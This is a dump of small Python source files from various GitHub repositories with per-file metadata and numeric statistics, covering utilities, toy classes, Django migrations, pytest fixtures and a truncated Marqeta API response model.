def bbox_xywh2cxcywh(bbox): cx = bbox[0] + bbox[2] / 2 cy = bbox[1] + bbox[3] / 2 return (cx, cy, bbox[2], bbox[3])
25.6
37
0.539063
23
128
2.956522
0.434783
0.147059
0
0
0
0
0
0
0
0
0
0.094737
0.257813
128
4
38
32
0.621053
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
bdd3e6f63f0c488e93c59948081e5463d1b33bf0
117
py
Python
practice/practice_1.1/binary_search.py
Electro98/aads
89607910856600b38349c31665f43fbb33df71c5
[ "MIT" ]
7
2021-07-24T05:37:07.000Z
2022-03-15T05:17:25.000Z
practice/practice_1.1/binary_search.py
Electro98/aads
89607910856600b38349c31665f43fbb33df71c5
[ "MIT" ]
2
2021-08-05T14:09:46.000Z
2021-08-21T14:12:03.000Z
practice/practice_1.1/binary_search.py
Electro98/aads
89607910856600b38349c31665f43fbb33df71c5
[ "MIT" ]
8
2021-08-20T17:17:02.000Z
2022-03-15T05:17:27.000Z
"""Шаблон бинарного поиска""" def search(sequence, item): """Бинарный поиск""" raise NotImplementedError()
16.714286
31
0.675214
11
117
7.181818
1
0
0
0
0
0
0
0
0
0
0
0
0.17094
117
6
32
19.5
0.814433
0.324786
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
bdeb36ebd60a073328a56fa7c0e2e9f7a697fa4b
459
py
Python
class.py
luckelectricity/crash
e920d41f7b4e5567199cddd57f21edf7b7bd6bc7
[ "MIT" ]
null
null
null
class.py
luckelectricity/crash
e920d41f7b4e5567199cddd57f21edf7b7bd6bc7
[ "MIT" ]
null
null
null
class.py
luckelectricity/crash
e920d41f7b4e5567199cddd57f21edf7b7bd6bc7
[ "MIT" ]
null
null
null
class Dog(): def __init__(self, name, age): self.name = name self.age = age def set(self): print(self.name.title() + '请坐') class car(): def __init__(self, name, model, year): self.name = name self.model = model self.year = year def read_name(self): print(self.name.title()) class Electr_car(): def __init__(self, name, model, year): super().__init__(name, model, year)
19.956522
43
0.56427
60
459
4.016667
0.283333
0.232365
0.136929
0.186722
0.406639
0.224066
0.224066
0
0
0
0
0
0.296296
459
22
44
20.863636
0.74613
0
0
0.25
0
0
0.004357
0
0
0
0
0
0
1
0.3125
false
0
0
0
0.5
0.125
0
0
0
null
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
bdf3abed8d7b3c88be6ecd6a06f191ced14a4e76
95
py
Python
test/logtest/package/package/__init__.py
LuomingXu/selfusepy
8f21e0c0bd8fb4978bf051e58bb57819b6e28d72
[ "Apache-2.0" ]
null
null
null
test/logtest/package/package/__init__.py
LuomingXu/selfusepy
8f21e0c0bd8fb4978bf051e58bb57819b6e28d72
[ "Apache-2.0" ]
null
null
null
test/logtest/package/package/__init__.py
LuomingXu/selfusepy
8f21e0c0bd8fb4978bf051e58bb57819b6e28d72
[ "Apache-2.0" ]
null
null
null
from selfusepy.log import Logger def log_test(): log = Logger().logger log.info('third')
13.571429
32
0.694737
14
95
4.642857
0.642857
0
0
0
0
0
0
0
0
0
0
0
0.168421
95
6
33
15.833333
0.822785
0
0
0
0
0
0.052632
0
0
0
0
0
0
1
0.25
false
0
0.25
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
da1e6ed2f8714bcf3bc628385b19e1580e11db0a
347
py
Python
conftest.py
erikopa/double-check
101e7577cc5b4a8798421010c7a3a3308d21db72
[ "MIT" ]
4
2022-01-24T12:04:46.000Z
2022-02-10T17:20:20.000Z
conftest.py
erikopa/double-check
101e7577cc5b4a8798421010c7a3a3308d21db72
[ "MIT" ]
2
2021-11-04T14:00:46.000Z
2022-01-21T15:04:22.000Z
conftest.py
erikopa/double-check
101e7577cc5b4a8798421010c7a3a3308d21db72
[ "MIT" ]
3
2021-11-04T13:08:12.000Z
2022-01-15T20:59:33.000Z
from asyncio.futures import Future import pytest from double_check.backends.ramos import configure_ramos @pytest.fixture(autouse=True) def config_ramos(): configure_ramos() @pytest.fixture def setup_future(): def setup(result=None): future = Future() future.set_result(result) return future return setup
16.52381
55
0.717579
43
347
5.651163
0.488372
0.115226
0.164609
0.222222
0
0
0
0
0
0
0
0
0.201729
347
20
56
17.35
0.877256
0
0
0
0
0
0
0
0
0
0
0
0
1
0.230769
false
0
0.230769
0
0.615385
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
3
da40c2e829bba7e8e457f7838fa136d5fdface88
191
py
Python
test/visuals/_test_inline.py
colinmford/coldtype
8462dbd5f65f3ef8f3cbc8662a866b7e20ec5985
[ "Apache-2.0" ]
142
2020-06-12T17:01:58.000Z
2022-03-16T23:21:37.000Z
test/visuals/_test_inline.py
colinmford/coldtype
8462dbd5f65f3ef8f3cbc8662a866b7e20ec5985
[ "Apache-2.0" ]
35
2020-04-15T15:34:54.000Z
2022-03-19T20:26:47.000Z
test/visuals/_test_inline.py
colinmford/coldtype
8462dbd5f65f3ef8f3cbc8662a866b7e20ec5985
[ "Apache-2.0" ]
14
2020-06-23T18:56:46.000Z
2022-03-31T15:54:56.000Z
from test._test_inline2 import * #INLINE from coldtype import * @renderable() def stub(r): return test_function(r).f(0.3) return (DATPen() .oval(r.inset(50)) .f(0.8))
21.222222
40
0.623037
29
191
4
0.689655
0.034483
0
0
0
0
0
0
0
0
0
0.04698
0.219895
191
9
41
21.222222
0.731544
0.031414
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0.25
0
0.625
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
da562aa2df39b6cf966570e7f5f5995505a79b5a
614
py
Python
miscutils/classes/base64.py
matthewgdv/miscutils
f605ded914e355214533b06e7a768272409769c0
[ "MIT" ]
null
null
null
miscutils/classes/base64.py
matthewgdv/miscutils
f605ded914e355214533b06e7a768272409769c0
[ "MIT" ]
null
null
null
miscutils/classes/base64.py
matthewgdv/miscutils
f605ded914e355214533b06e7a768272409769c0
[ "MIT" ]
null
null
null
from __future__ import annotations import base64 class Base64: def __init__(self, raw_bytes: bytes) -> None: self.bytes = raw_bytes def __bytes__(self) -> bytes: return self.bytes def to_utf8(self) -> str: return self.bytes.decode("utf-8") def to_b64(self) -> str: return base64.urlsafe_b64encode(self.bytes).decode("utf-8") @classmethod def from_utf8(cls, utf8: str) -> Base64: return cls(raw_bytes=utf8.encode("utf-8")) @classmethod def from_b64(cls, b64: str) -> Base64: return cls(raw_bytes=base64.urlsafe_b64decode(b64))
23.615385
67
0.649837
83
614
4.542169
0.313253
0.119363
0.079576
0.095491
0.344828
0.137931
0
0
0
0
0
0.065539
0.229642
614
25
68
24.56
0.731501
0
0
0.117647
0
0
0.02443
0
0
0
0
0
0
1
0.352941
false
0
0.117647
0.294118
0.823529
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
da5d1c6895703de177acb216bdc722b43e71917b
246
py
Python
tasks.py
tcondit/travis-targeted-promotions
8022fa2abfb5d04e3ff879628ca5cc84b5621766
[ "MIT" ]
null
null
null
tasks.py
tcondit/travis-targeted-promotions
8022fa2abfb5d04e3ff879628ca5cc84b5621766
[ "MIT" ]
null
null
null
tasks.py
tcondit/travis-targeted-promotions
8022fa2abfb5d04e3ff879628ca5cc84b5621766
[ "MIT" ]
null
null
null
from invoke import task @task def test(c): print("Hello from tasks.py - test") @task def update_job_configs(c): print("Hello from tasks.py - update_job_configs") @task def deploy_jobs(c): print("Hello from tasks.py - deploy_jobs")
17.571429
53
0.703252
40
246
4.175
0.4
0.125749
0.197605
0.269461
0.39521
0.39521
0
0
0
0
0
0
0.174797
246
13
54
18.923077
0.82266
0
0
0.3
0
0
0.402439
0
0
0
0
0
0
1
0.3
false
0
0.1
0
0.4
0.3
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
da73697c818b66e7c6458c0e0927f6cce474b31d
700
py
Python
cql_builder/selection.py
jjengo/cql-builder
d387e66ecf505559274cc0f45d9f9fc91d864438
[ "MIT" ]
17
2015-03-25T13:46:15.000Z
2022-02-22T01:38:33.000Z
cql_builder/selection.py
jjengo/cql-builder
d387e66ecf505559274cc0f45d9f9fc91d864438
[ "MIT" ]
null
null
null
cql_builder/selection.py
jjengo/cql-builder
d387e66ecf505559274cc0f45d9f9fc91d864438
[ "MIT" ]
5
2015-03-24T21:09:35.000Z
2015-11-14T20:31:00.000Z
from cql_builder.base import Selection # column, column, ... class Columns(Selection): def __init__(self, *args): self.args = args @property def cql(self): return ', '.join(self.args) @property def values(self): return [] # column[key] class ValueAt(Selection): def __init__(self, name, key): self.name = name self.key = key @property def cql(self): return '{}[%s]'.format(self.name) @property def values(self): return [self.key] # COUNT(*) class Count(Selection): @property def cql(self): return 'COUNT(*)' @property def values(self): return [] # * class All(Selection): @property def cql(self): return '*' @property def values(self): return []
13.207547
38
0.651429
91
700
4.912088
0.263736
0.196868
0.12528
0.161074
0.496644
0.147651
0
0
0
0
0
0
0.19
700
52
39
13.461538
0.78836
0.06
0
0.558824
0
0
0.026034
0
0
0
0
0
0
1
0.294118
false
0
0.029412
0.235294
0.676471
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
3
da8d84de3d65803c34a19b30cb14f22d51a4ee4a
250
py
Python
src/app_functions/initialize_app.py
DanielNoord/DuolingoPomodoro
307b386daf3216fb9ba86f983f0e39f6647ffd64
[ "MIT" ]
null
null
null
src/app_functions/initialize_app.py
DanielNoord/DuolingoPomodoro
307b386daf3216fb9ba86f983f0e39f6647ffd64
[ "MIT" ]
4
2021-04-25T15:39:32.000Z
2022-02-18T20:58:00.000Z
src/app_functions/initialize_app.py
DanielNoord/DuolingoPomodoro
307b386daf3216fb9ba86f983f0e39f6647ffd64
[ "MIT" ]
null
null
null
from src.app_functions.menu.login_sequence import login def initialize_app(app): """Function that will be called when Auto-login is turned on Args: app (rumps.App): The App object of the main app """ # Login login(app)
20.833333
64
0.672
38
250
4.342105
0.684211
0
0
0
0
0
0
0
0
0
0
0
0.244
250
11
65
22.727273
0.873016
0.492
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0
0.666667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
3
da929e9f09a7cc28323e02295e502f1f90790b5d
138
py
Python
scripts/npc/contimoveEdeGo.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
54
2019-04-16T23:24:48.000Z
2021-12-18T11:41:50.000Z
scripts/npc/contimoveEdeGo.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
3
2019-05-19T15:19:41.000Z
2020-04-27T16:29:16.000Z
scripts/npc/contimoveEdeGo.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
49
2020-11-25T23:29:16.000Z
2022-03-26T16:20:24.000Z
map = [200090710, 200090610] sm.sendSay("Where would you like to go? \r\n#L0#Victoria Island#l\r\n#L1#Orbis#l") sm.warp(map[answer], 0)
23
82
0.695652
27
138
3.555556
0.814815
0.041667
0
0
0
0
0
0
0
0
0
0.172131
0.115942
138
6
83
23
0.614754
0
0
0
0
0.333333
0.489209
0.165468
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
16f3c804a9f3c7419a7f62f1e25b64cb2fe2182d
5,161
py
Python
src/SystemDependenceGraph/DependenceNode.py
Lucaz97/Verilog-SDG-Extraction
33c71d1b1b6c0e8f1b569cb2db17281f5f32291f
[ "MIT" ]
null
null
null
src/SystemDependenceGraph/DependenceNode.py
Lucaz97/Verilog-SDG-Extraction
33c71d1b1b6c0e8f1b569cb2db17281f5f32291f
[ "MIT" ]
null
null
null
src/SystemDependenceGraph/DependenceNode.py
Lucaz97/Verilog-SDG-Extraction
33c71d1b1b6c0e8f1b569cb2db17281f5f32291f
[ "MIT" ]
null
null
null
class DependenceNode: def __init__(self): self.parents = [] self.children = [] self.inter_parents = [] self.inter_children = [] self.fictitious_parents = [] self.fictitious_children = [] self.ast = None def add_parent(self, parent): self.parents.append(parent) def add_child(self, child): self.children.append(child) def add_inter_parent(self, parent): self.inter_parents.append(parent) def add_inter_child(self, child): self.inter_children.append(child) def add_fictitious_parent(self, parent): self.fictitious_parents.append(parent) def add_fictitious_child(self, child): self.fictitious_children.append(child) def set_ast(self, ast): self.ast = ast def get_parents(self): return self.parents def get_children(self): return self.children def get_inter_parents(self): return self.inter_parents def get_inter_children(self): return self.inter_children def get_fictitious_parents(self): return self.fictitious_parents def get_fictitious_children(self): return self.fictitious_children class InputNode(DependenceNode): def __init__(self, label): super().__init__() self.label = label def clone(self): clone = InputNode(self.label) clone.ast = self.ast return clone def __str__(self): return "IN: " + self.label class OutputNode(DependenceNode): def __init__(self, label): super().__init__() self.label = label def clone(self): clone = OutputNode(self.label) clone.ast = self.ast return clone def __str__(self): return "OUT: " + self.label class ConstNode(DependenceNode): def __init__(self, const_ast): super().__init__() self.value = const_ast.value self.ast = const_ast def clone(self): clone = ConstNode(self.ast) return clone def __str__(self): return "CONST: " + self.value class CondNode(DependenceNode): def __init__(self, cond_statement): super().__init__() self.cond_statement = cond_statement def clone(self): clone = CondNode(self.cond_statement) clone.ast = self.ast return clone def __str__(self): return "COND: " + ", ".join(self.cond_statement.get_cond_dependencies()) class AssignNode(DependenceNode): def __init__(self, name): super().__init__() self.name = name def clone(self): clone = AssignNode(self.name) clone.ast = self.ast return clone def __str__(self): return self.name class AlwaysNode(DependenceNode): def __init__(self, sensList): super().__init__() self.sensList = sensList def get_sensList(self): return self.sensList def clone(self): clone = AlwaysNode(self.sensList) clone.ast = self.ast return clone def __str__(self): return "ALWAYS @(" + " ,".join(self.sensList) + ")" class CouplingNode(DependenceNode): def __init__(self, invar, outvars): super().__init__() self.invar = invar self.outvars = outvars def get_invar(self): return self.invar def get_outvars(self): return self.outvars def clone(self): clone = CouplingNode(self.invar, self.outvars) clone.ast = self.ast return clone def __str__(self): return self.invar + "; " + ", ".join(self.outvars) class InstanceNode(DependenceNode): def __init__(self, name): super().__init__() self.modulename = name def get_modulename(self): return self.modulename def clone(self): clone = InstanceNode(self.modulename) clone.ast = self.ast return clone def __str__(self): return "INSTANCE: " + self.modulename class ModuleNode(DependenceNode): def __init__(self, name): super().__init__() self.modulename = name def get_modulename(self): return self.modulename def clone(self): clone = ModuleNode(self.modulename) clone.ast = self.ast return clone def __str__(self): return "MODULE DEF: " + self.modulename class ParameterNode(DependenceNode): def __init__(self, name, ids, consts): super().__init__() self.name = name self.ids = ids self.consts = consts def clone(self): clone = ParameterNode(self.name, self.ids, self.consts) clone.ast = self.ast return clone def __str__(self): return "PARAMETER: " + self.name +" - " + ", ".join([str(el) for el in self.ids+self.consts]) class FunctionNode(DependenceNode): def __init__(self, name): super().__init__() self.name = name def clone(self): clone = FunctionNode(self.name) clone.ast= self.ast return clone def __str__(self): return "FUNCTION: " + self.name
24.459716
101
0.606665
574
5,161
5.134146
0.095819
0.062436
0.061758
0.101798
0.406854
0.347472
0.347472
0.347472
0.335935
0.335935
0
0
0.289285
5,161
211
102
24.459716
0.803435
0
0
0.449367
0
0
0.017051
0
0
0
0
0
0
1
0.329114
false
0
0
0.139241
0.613924
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
16fe81c62657e0ec6c30f989806b901cce57cd8a
1,529
py
Python
typeform_api/api/migrations/0001_initial.py
Himanshu1495/typeform-webhook-django
d885a9065ce2f29073ea378d490632403e0ca6e2
[ "MIT" ]
3
2017-10-09T03:45:51.000Z
2021-05-10T08:28:21.000Z
typeform_api/api/migrations/0001_initial.py
Himanshu1495/typeform-webhook-django
d885a9065ce2f29073ea378d490632403e0ca6e2
[ "MIT" ]
2
2020-02-11T23:25:59.000Z
2020-06-05T17:28:24.000Z
typeform_api/api/migrations/0001_initial.py
Himanshu1495/typeform-webhook-django
d885a9065ce2f29073ea378d490632403e0ca6e2
[ "MIT" ]
1
2018-12-08T17:15:00.000Z
2018-12-08T17:15:00.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2017-10-08 09:11 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Person', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=200)), ], ), migrations.CreateModel( name='TypeformForms', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('form_id', models.CharField(max_length=200)), ('form_title', models.CharField(max_length=200)), ('event_id', models.CharField(max_length=200)), ], ), migrations.CreateModel( name='TypeformQuestions', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('ques_id', models.CharField(max_length=1000)), ('ques_title', models.CharField(max_length=1000)), ('ques_type', models.CharField(max_length=1000)), ('ans_type', models.CharField(max_length=1000)), ('answer', models.CharField(max_length=1000)), ], ), ]
34.75
114
0.565075
152
1,529
5.486842
0.361842
0.161871
0.194245
0.258993
0.679856
0.59952
0.408873
0.408873
0.284173
0.284173
0
0.045709
0.298888
1,529
43
115
35.55814
0.732276
0.044474
0
0.428571
1
0
0.080247
0
0
0
0
0
0
1
0
false
0
0.057143
0
0.171429
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
e525701f82228a632ed03358bcb9b26fc7c2d8a0
339
py
Python
hypergan/losses/logistic_loss.py
Darkar25/HyperGAN
76ef7e0c20569ceece88dc76396d92c77050692b
[ "MIT" ]
1
2019-05-29T14:24:04.000Z
2019-05-29T14:24:04.000Z
hypergan/losses/logistic_loss.py
KonradLinkowski/HyperGAN
3153daee838dbb8e8d8926b1e81419682a24f2fe
[ "MIT" ]
218
2021-05-25T01:46:15.000Z
2022-02-11T01:08:52.000Z
hypergan/losses/logistic_loss.py
KonradLinkowski/HyperGAN
3153daee838dbb8e8d8926b1e81419682a24f2fe
[ "MIT" ]
null
null
null
import tensorflow as tf import hyperchamber as hc from hypergan.losses.base_loss import BaseLoss class LogisticLoss(BaseLoss): def _create(self, d_real, d_fake): config = self.config d_loss = tf.nn.softplus(-d_real) + tf.nn.softplus(d_fake) g_loss = tf.nn.softplus(-d_fake) return [d_loss, g_loss]
22.6
65
0.690265
52
339
4.288462
0.480769
0.067265
0.161435
0.174888
0.246637
0
0
0
0
0
0
0
0.215339
339
14
66
24.214286
0.838346
0
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0
0.333333
0
0.666667
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
e57acae78caed1306ae9a817fe9886b8d22cd77e
801
py
Python
Tools/compiler/compiler/misc.py
marcosptf/cpython-2.0.1
73c739a764e8b1dc84640e73b880bc66e1916bca
[ "PSF-2.0" ]
5
2022-03-26T21:53:36.000Z
2022-03-30T21:47:20.000Z
Tools/compiler/compiler/misc.py
marcosptf/cpython-2.0.1
73c739a764e8b1dc84640e73b880bc66e1916bca
[ "PSF-2.0" ]
6
2020-11-18T15:48:14.000Z
2021-05-03T21:20:50.000Z
Tools/compiler/compiler/misc.py
marcosptf/cpython-2.0.1
73c739a764e8b1dc84640e73b880bc66e1916bca
[ "PSF-2.0" ]
2
2015-07-16T08:14:13.000Z
2022-03-27T01:55:17.000Z
import types def flatten(tup): elts = [] for elt in tup: if type(elt) == types.TupleType: elts = elts + flatten(elt) else: elts.append(elt) return elts class Set: def __init__(self): self.elts = {} def __len__(self): return len(self.elts) def add(self, elt): self.elts[elt] = elt def elements(self): return self.elts.keys() def has_elt(self, elt): return self.elts.has_key(elt) def remove(self, elt): del self.elts[elt] class Stack: def __init__(self): self.stack = [] self.pop = self.stack.pop def __len__(self): return len(self.stack) def push(self, elt): self.stack.append(elt) def top(self): return self.stack[-1]
22.25
40
0.553059
107
801
3.971963
0.299065
0.112941
0.051765
0.070588
0.108235
0.108235
0
0
0
0
0
0.001848
0.324594
801
35
41
22.885714
0.783734
0
0
0.125
0
0
0
0
0
0
0
0
0
1
0.34375
false
0
0.03125
0.15625
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
e57cb97f70b53c794d33fb2ef90c7b19ddf39cce
349
py
Python
Twitter/GenerateDBFTable.py
xbwei/Data-Mining-on-Social-Media
b65182bb14245f975e319a6a28aec452eabb7644
[ "MIT" ]
91
2016-11-29T19:48:24.000Z
2022-03-26T21:45:15.000Z
Twitter/GenerateDBFTable.py
xbwei/GetTwitter
b65182bb14245f975e319a6a28aec452eabb7644
[ "MIT" ]
1
2017-10-27T22:15:57.000Z
2017-10-27T22:15:57.000Z
Twitter/GenerateDBFTable.py
xbwei/Data-Mining-on-Social-Media
b65182bb14245f975e319a6a28aec452eabb7644
[ "MIT" ]
73
2016-11-09T10:08:47.000Z
2022-03-26T21:45:21.000Z
''' Created on Nov 19, 2013 @author: Xuebin Wei weixuebin@gmail.com Department of Geography, UGA ''' ''' Create initial table for tweet storing ''' import dbf table = dbf.Table("Tweet.dbf","TweetID C(20);TweetText C(200);TweetTime C(30); TweetLat C(30);TweetLon C(30);UserID C(30);UserName C(30);UserLoc C(30); CheckTime C(20)") table.close()
18.368421
169
0.704871
57
349
4.315789
0.649123
0.073171
0
0
0
0
0
0
0
0
0
0.082508
0.131805
349
19
170
18.368421
0.729373
0.272206
0
0
0
0.333333
0.721393
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
e5a20cc877ea08723af14c8e26ef8137532a2b8a
93
py
Python
release/stubs.min/Tekla/Structures/ModelInternal_parts/dotGuideline_t.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Tekla/Structures/ModelInternal_parts/dotGuideline_t.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Tekla/Structures/ModelInternal_parts/dotGuideline_t.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
class dotGuideline_t(object): # no doc Curve = None Id = None Spacing = None
15.5
29
0.602151
12
93
4.583333
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.322581
93
5
30
18.6
0.873016
0.064516
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
e5e6beae69b342d2727386a9a6da9d714c359eaa
223
py
Python
mayan/apps/web_links/forms.py
O2Graphics/Mayan-EDMS
e11e6f47240f3c536764be66828dbe6428dceb41
[ "Apache-2.0" ]
null
null
null
mayan/apps/web_links/forms.py
O2Graphics/Mayan-EDMS
e11e6f47240f3c536764be66828dbe6428dceb41
[ "Apache-2.0" ]
5
2021-03-19T22:56:45.000Z
2022-03-12T00:08:43.000Z
mayan/apps/web_links/forms.py
halsten/mayan-edms
10372daede6e6dea0bea67eb98767e3be6fbf86f
[ "Apache-2.0" ]
null
null
null
from __future__ import unicode_literals from django import forms from .models import WebLink class WebLinkForm(forms.ModelForm): class Meta: fields = ('label', 'template', 'enabled') model = WebLink
18.583333
49
0.704036
25
223
6.08
0.72
0
0
0
0
0
0
0
0
0
0
0
0.215247
223
11
50
20.272727
0.868571
0
0
0
0
0
0.089686
0
0
0
0
0
0
1
0
false
0
0.428571
0
0.714286
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
3
e5efb79e6caf08a461f3dc4a3f5525a7f4d6f75a
380
py
Python
flask_sqlalchemy_redica/__init__.py
cohirer2019/Flask-Sqlalchemy-Redica
0944ed72432b78d98408c0ed6c4e986d2b45dc09
[ "BSD-3-Clause" ]
null
null
null
flask_sqlalchemy_redica/__init__.py
cohirer2019/Flask-Sqlalchemy-Redica
0944ed72432b78d98408c0ed6c4e986d2b45dc09
[ "BSD-3-Clause" ]
null
null
null
flask_sqlalchemy_redica/__init__.py
cohirer2019/Flask-Sqlalchemy-Redica
0944ed72432b78d98408c0ed6c4e986d2b45dc09
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ flaskext.sqlalchemy_caching ~~~~~~~~~~~~~~~~~~~ Adds basic SQLAlchemy cache support to your application. :copyright: (c) 2017 by oceanio@gmail.com :license: BSD, see LICENSE for more details. """ from .redis import ExtendRedisBackend from .core import CachingSQLAlchemy from .model import CachingMixin, default_caching_invalidate
27.142857
60
0.7
43
380
6.116279
0.837209
0
0
0
0
0
0
0
0
0
0
0.015823
0.168421
380
13
61
29.230769
0.816456
0.563158
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
e5fd1c1a66aabe088211deed08a4fe66818171dc
11,145
py
Python
marqeta/response_models/transaction_model.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
21
2019-04-12T09:02:17.000Z
2022-02-18T11:39:06.000Z
marqeta/response_models/transaction_model.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
1
2020-07-22T21:27:40.000Z
2020-07-23T17:38:43.000Z
marqeta/response_models/transaction_model.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
10
2019-05-08T14:20:37.000Z
2021-09-20T18:09:26.000Z
from datetime import datetime, date from marqeta.response_models.currency_conversion import CurrencyConversion from marqeta.response_models.response import Response from marqeta.response_models.merchant_response_model import MerchantResponseModel from marqeta.response_models.store_response_model import StoreResponseModel from marqeta.response_models.transaction_card_acceptor import TransactionCardAcceptor from marqeta.response_models.cardholder_balance import CardholderBalance from marqeta.response_models.gpa_returns import GpaReturns from marqeta.response_models.gpa_response import GpaResponse from marqeta.response_models.program_transfer_response import ProgramTransferResponse from marqeta.response_models.fee_transfer_response import FeeTransferResponse from marqeta.response_models.peer_transfer_response import PeerTransferResponse from marqeta.response_models.msa_order_response import MsaOrderResponse from marqeta.response_models.msa_returns import MsaReturns from marqeta.response_models.offer_order_response import OfferOrderResponse from marqeta.response_models.auto_reload_model import AutoReloadModel from marqeta.response_models.deposit_deposit_response import DepositDepositResponse from marqeta.response_models.real_time_fee_group import RealTimeFeeGroup from marqeta.response_models.fee import Fee from marqeta.response_models.chargeback_response import ChargebackResponse from marqeta.response_models.network_fee_model import NetworkFeeModel from marqeta.response_models.digital_wallet_token import DigitalWalletToken from marqeta.response_models.cardholder_metadata import CardholderMetadata from marqeta.response_models.business_metadata import BusinessMetadata from marqeta.response_models.card_metadata import CardMetadata from marqeta.response_models.acquirer import Acquirer from marqeta.response_models.fraud import Fraud from marqeta.response_models.pos import Pos from marqeta.response_models.address_verification_model import AddressVerificationModel from marqeta.response_models.card_security_code_verification import CardSecurityCodeVerification from marqeta.response_models.transaction_metadata import TransactionMetadata from marqeta.response_models.user_card_holder_response import UserCardHolderResponse from marqeta.response_models.cardholder_authentication_data import CardholderAuthenticationData from marqeta.response_models import datetime_object import json import re class TransactionModel(object): def __init__(self, json_response): self.json_response = json_response def __str__(self): return json.dumps(self.json_response, default=self.json_serial) @staticmethod def json_serial(o): if isinstance(o, datetime) or isinstance(o, date): return o.__str__() @property def type(self): return self.json_response.get('type', None) @property def state(self): return self.json_response.get('state', None) @property def token(self): return self.json_response.get('token', None) @property def user_token(self): return self.json_response.get('user_token', None) @property def business_token(self): return self.json_response.get('business_token', None) @property def acting_user_token(self): return self.json_response.get('acting_user_token', None) @property def card_token(self): return self.json_response.get('card_token', None) @property def duration(self): 